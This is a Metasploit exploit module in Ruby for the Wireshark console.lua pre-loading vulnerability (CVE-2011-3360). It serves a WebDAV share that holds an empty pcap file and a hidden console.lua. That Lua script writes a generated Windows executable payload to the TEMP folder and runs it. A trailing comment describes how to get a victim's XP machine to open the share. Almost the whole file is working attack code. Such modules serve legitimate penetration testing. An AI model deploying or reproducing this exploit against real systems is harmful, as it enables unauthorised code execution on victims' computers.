##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Wireshark console.lua pre-loading vulnerability",
   'Description'    => %q{
     This modules exploits a vulnerability in Wireshark 1.6 or less. When opening a
    pcap file, Wireshark will actually check if there's a 'console.lua' file in the same
    directory, and then parse/execute the script if found.  Versions affected by this
    vulnerability: 1.6.0 to 1.6.1, 1.4.0 to 1.4.8
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'sinn3r',  #Metasploit
    ],
   'References'     =>
    [
     ['CVE', '2011-3360'],
     ['OSVDB', '75347'],
     ['URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=6136'],
     ['URL', 'http://technet.microsoft.com/en-us/security/advisory/2269637']
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00",
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "none"
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Wireshark 1.6.1 or less', {}],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Jul 18 2011",  #Didn't go public until 2011-09-21 though
   'DefaultTarget'  => 0))

  register_options(
   [
    OptPort.new('SRVPORT',     [ true, "The daemon port to listen on (do not change)", 80 ]),
    OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]),
    OptString.new('URIPATH',   [ true, "The URI to use", "/" ]),
    OptString.new('FILENAME',  [ true, "The name of the pcap file", "msf.pcap"])
   ], self.class)

  deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL
 end

 def on_request_uri(cli, request)
  case request.method
  when 'OPTIONS'
   process_options(cli, request)
  when 'PROPFIND'
   process_propfind(cli, request)
  when 'GET'
   process_get(cli, request)
  else
   print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
   resp = create_response(404, "Not Found")
   resp.body = ""
   resp['Content-Type'] = 'text/html'
   cli.send_response(resp)
  end
 end

 def process_get(cli, request)
  print_status("URI requested: #{request.uri.to_s}")
  if request.uri =~ /\.lua$/
   # Load lua script
   print_status("Sending lua script")
   send_response(cli, @p, {'Content-Type'=>'application/octet-stream'})
  elsif request.uri =~ /#{datastore['FILENAME']}/
   # Load an empty pcap file
   # Format reference: http://wiki.wireshark.org/Development/LibpcapFileFormat
   pcap = ''
   pcap << "\xd4\xc3\xb2\xa1"  #Magic number
   pcap << "\x02\x00"          #Major version number
   pcap << "\x04\x00"          #Minor version number
   pcap << "\x00\x00\x00\x00"  #GMT to local correction
   pcap << "\x00\x00\x00\x00"  #Accuracy of timestamp
   pcap << "\xff\xff\x00\x00"  #Maxlength of captured packets in octets
   pcap << "\x01\x00\x00\x00"  #Data length type
   print_status("Sending fake pcap file")
   send_response(cli, pcap, {'Content-Type'=>'application/octet-stream'})
  else
   # Don't know the request, return not found
   print_error("Don't care about this file, 404")
   send_not_found(cli)
  end
  return
 end

 def process_options(cli, request)
  vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
  headers = {
   'MS-Author-Via' => 'DAV',
   'DASL'          => '<DAV:sql>',
   'DAV'           => '1, 2',
   'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
   'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
   'Cache-Control' => 'private'
  }

  resp = create_response(207, "Multi-Status")
  headers.each_pair {|k,v| resp[k] = v }
  resp.body = ''
  resp['Content-Type'] = 'text/xml'
  cli.send_response(resp)
 end

 def process_propfind(cli, request)
  path = request.uri
  vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
  body = ''

  my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  my_uri    = "http://#{my_host}/"

  if path !~ /\/$/
   if path.index(".")
    print_status("Sending 404 for #{path} ...")
    resp = create_response(404, "Not Found")
    resp['Content-Type'] = 'text/html'
    cli.send_response(resp)
    return
   else
    print_status("Sending 301 for #{path} ...")
    resp = create_response(301, "Moved")
    resp["Location"] = path + "/"
    resp['Content-Type'] = 'text/html'
    cli.send_response(resp)
    return
   end
  end

  print_status("Sending directory multistatus for #{path} ...")

  body = <<-BODY
  <?xml version="1.0" encoding="utf-8"?>
  <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
  <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
  <D:href>#{path}</D:href>
  <D:propstat>
  <D:prop>
  <lp1:resourcetype><D:collection/></lp1:resourcetype>
  <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
  <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
  <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
  <D:supportedlock>
  <D:lockentry>
  <D:lockscope><D:exclusive/></D:lockscope>
  <D:locktype><D:write/></D:locktype>
  </D:lockentry>
  <D:lockentry>
  <D:lockscope><D:shared/></D:lockscope>
  <D:locktype><D:write/></D:locktype>
  </D:lockentry>
  </D:supportedlock>
  <D:lockdiscovery/>
  <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
  </D:prop>
  <D:status>HTTP/1.1 200 OK</D:status>
  </D:propstat>
  </D:response>
  BODY

  body = body.gsub(/^\t\t/, '')

  if request["Depth"].to_i > 0
   if path.scan("/").length < 2
    body << generate_shares(path)
   else
    #Set filenames, and set the hidden attribute
    filenames =
     [
      ['console.lua', true],
      [datastore['FILENAME'], false]
     ]
    body << generate_files(path, filenames)
   end
  end

  body << "</D:multistatus>"

  body.gsub!(/\t/, '')

  # send the response
  resp = create_response(207, "Multi-Status")
  resp.body = body
  resp['Content-Type'] = 'text/xml; charset="utf8"'
  cli.send_response(resp)
 end

 def gen_timestamp(ttype=nil)
  ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
 end

 def gen_datestamp(ttype=nil)
  ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
 end

 def generate_shares(path)
  share_name = datastore['SHARENAME']
  share = <<-SHARE
  <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
  <D:href>#{path}#{share_name}/</D:href>
  <D:propstat>
  <D:prop>
  <lp1:resourcetype><D:collection/></lp1:resourcetype>
  <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
  <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
  <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
  <D:supportedlock>
  <D:lockentry>
  <D:lockscope><D:exclusive/></D:lockscope>
  <D:locktype><D:write/></D:locktype>
  </D:lockentry>
  <D:lockentry>
  <D:lockscope><D:shared/></D:lockscope>
  <D:locktype><D:write/></D:locktype>
  </D:lockentry>
  </D:supportedlock>
  <D:lockdiscovery/>
  <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
  </D:prop>
  <D:status>HTTP/1.1 200 OK</D:status>
  </D:propstat>
  </D:response>
  SHARE
  share = share.gsub(/^\t\t/, '')
  return share
 end

 def generate_files(path, items)
  trail = path.split("/")
  return "" if trail.length < 2

  files = ""
  items.each do |f, hide|
   h = hide ? '1' : '0'
   files << <<-FILES
   <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
   <D:href>#{path}#{f}</D:href>
   <D:propstat>
   <D:prop>
   <lp1:resourcetype/>
   <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
   <lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
   <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
   <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
   <lp2:executable>T</lp2:executable>
   <D:supportedlock>
   <D:lockentry>
   <D:lockscope><D:exclusive/></D:lockscope>
   <D:locktype><D:write/></D:locktype>
   </D:lockentry>
   <D:lockentry>
   <D:lockscope><D:shared/></D:lockscope>
   <D:locktype><D:write/></D:locktype>
   </D:lockentry>
   </D:supportedlock>
   <D:lockdiscovery/>
   <D:getcontenttype>application/octet-stream</D:getcontenttype>
   </D:prop>
   <D:status>HTTP/1.1 200 OK</D:status>
   <D:ishidden b:dt="boolean">#{h}</D:ishidden>
   </D:propstat>
   </D:response>
   FILES
  end

  files = files.gsub(/^\t\t\t/, '')

  return files
 end

 def get_lua_payload
  # Generate our executable payload, and then convert every byte
  # in decimal format
  p = generate_payload_exe
  buf = ''
  p.each_byte do |b|
   buf << "\\#{b.to_s}"
  end

  # Create the lua script that contains our payload
  var_payload_name = rand_text_alpha(5)
  var_temp_name    = rand_text_alpha(5)
  lua_script = <<-LUA
  #{var_payload_name} = "#{buf}"

  #{var_temp_name} = os.getenv("TEMP") .. os.tmpname() .. ".exe"
  local f = io.open(#{var_temp_name}, "wb")
  f:write(#{var_payload_name})
  f:close()
  os.execute(#{var_temp_name})
  LUA

  lua_script = lua_script.gsub(/^\t\t/, '')
  return lua_script
 end

 def exploit
  @p = get_lua_payload
  super
 end
end

=begin
Example of how to open the share:
My Computer -> Tools -> Map Network Driver -> Sign up for online storage or
connect to a network server -> Choose another network location ->
enter the network address

On an unpatched XP SP3 (and other Windows systems), the ideal URI format is like this:
http://192.168.1.11/
But on a fully patched XP SP3, the same URI format will not work. Windows will try to list
the share via SMB, and the victim will not see the share.  In this case, you should specify
the URI to like this:
http://192.168.1.11/files
=end